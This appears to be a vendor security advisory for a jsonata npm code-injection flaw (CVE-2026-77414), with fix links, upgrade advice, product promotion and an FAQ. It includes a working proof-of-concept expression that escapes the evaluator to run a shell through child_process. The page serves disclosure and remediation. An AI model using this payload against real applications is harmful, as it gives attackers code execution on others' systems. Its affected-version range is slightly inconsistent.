Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check inenvironment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
Impact
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
jsonata to 2.2.1 or later; jsonata to 1.8.8 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-77414? CVE-2026-77414 is a critical-severity code injection vulnerability in jsonata (npm), affecting versions >= 2.0.0, < 2.2.1. It is fixed in 2.2.1, 1.8.8. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which versions of jsonata are affected by CVE-2026-77414? jsonata (npm) versions >= 2.0.0, < 2.2.1 is affected.
- Is there a fix for CVE-2026-77414? Yes. CVE-2026-77414 is fixed in 2.2.1, 1.8.8. Upgrade to this version or later.
- Is CVE-2026-77414 exploitable, and should I be worried? Whether CVE-2026-77414 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77414 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77414?
- Upgrade
jsonatato 2.2.1 or later - Upgrade
jsonatato 1.8.8 or later
- Upgrade